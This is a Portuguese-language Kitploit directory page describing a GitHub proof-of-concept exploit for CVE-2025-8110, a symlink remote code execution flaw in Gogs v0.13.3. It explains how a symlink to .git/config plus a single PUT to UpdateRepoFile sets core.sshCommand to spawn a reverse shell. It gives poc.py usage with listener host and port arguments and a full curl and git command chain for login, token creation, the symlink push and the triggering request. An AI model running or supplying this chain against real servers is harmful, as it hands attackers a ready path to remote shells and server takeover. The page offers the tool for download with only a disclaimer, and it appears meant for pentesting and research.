Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-8110-PoC — Exploit de disparo único para Gogs symlink RCE (CVE-2025-8110) que aciona um reverse shell via uma única solicitação PUT para UpdateRepoFile. | Kitploit
Ferramentas/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

Exploit de disparo único para Gogs symlink RCE (CVE-2025-8110) que aciona um reverse shell via uma única solicitação PUT para UpdateRepoFile.

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-8110 PoC

Script Python de prova de conceito para CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Único disparo: o próprio PUT malicioso aciona git fetch → sshCommand → reverse shell.

⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.

Detalhes

  • PoC para CVE-2025-8110
  • Versão afetada: Gogs v0.13.3
  • Versão corrigida: Gogs v0.13.4
  • Referência: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

Comportamento Vulnerável

O manipulador UpdateRepoFile em internal/db/repo_editor.go chama para gravar o conteúdo do arquivo, que segue links simbólicos sem verificá-los. Combinado com o fato de que commits anteriores de links simbólicos percorrem para , um atacante pode:

os.WriteFile
.git/
  1. Enviar um link simbólico x → .git/config para o repositório bare
  2. Chamar PUT /api/v1/repos/{owner}/{repo}/contents/x com um .git/config malicioso contendo core.sshCommand definido para um comando de reverse shell
  3. A mesma requisição PUT grava a config e aciona git fetch origin (via CreateOrUpdateRepoFile → UpdateLocalCopyBranch), que lê a config modificada e executa sshCommand — gerando um reverse shell em um único disparo.

Arquivos

  • poc.py: solicita alvo, nome de usuário, senha, LHOST e LPORT; faz login, cria um token de API, cria um repositório, envia um link simbólico e sobrescreve .git/config via API — a própria requisição PUT única aciona o reverse shell.

Uso

Execute:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

Argumentos

ArgumentoObrigatórioDescrição
--target / -tSimNome do host ou URL do alvo Gogs
--usernameSimNome de usuário existente do Gogs
--passwordSimSenha existente do Gogs
--lhostSimIP do ouvinte para o reverse shell
--lportSimPorta do ouvinte

Como funciona

  1. Login — faz login na interface web do Gogs com as credenciais fornecidas
  2. Token — cria um token de API pessoal via /user/settings/applications
  3. Repo — cria um novo repositório vazio via API do Gogs
  4. Enviar link simbólico — clona o repositório, cria um link simbólico x → .git/config, faz commit e push
  5. Sobrescrever e acionar (disparo único) — envia PUT /api/v1/repos/{owner}/{repo}/contents/x com uma config git maliciosa contendo core.sshCommand e uma URL remota SSH. O CreateOrUpdateRepoFile do Gogs internamente chama UpdateLocalCopyBranch → git fetch origin, que lê a config envenenada e executa sshCommand — gerando um reverse shell em uma requisição.

curl equivalente

Login e obter CSRF

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extrair _csrf da resposta
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

Criar token de API

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extrair _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

Criar repositório

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

Enviar link simbólico

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

Sobrescrever e acionar (PUT único — espere timeout, shell chega)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

A própria requisição PUT aciona git fetch origin, que lê o .git/config envenenado e executa o reverse shell. Nenhuma segunda requisição é necessária.

Por que --max-time 10? O servidor pode travar por ~10s enquanto o git processa a gravação e aciona o fetch. Usar --max-time 10 garante que o curl mantenha a conexão aberta tempo suficiente para o shell conectar de volta. Sem isso, a conexão pode cair antes do shell disparar.

Baixar ferramenta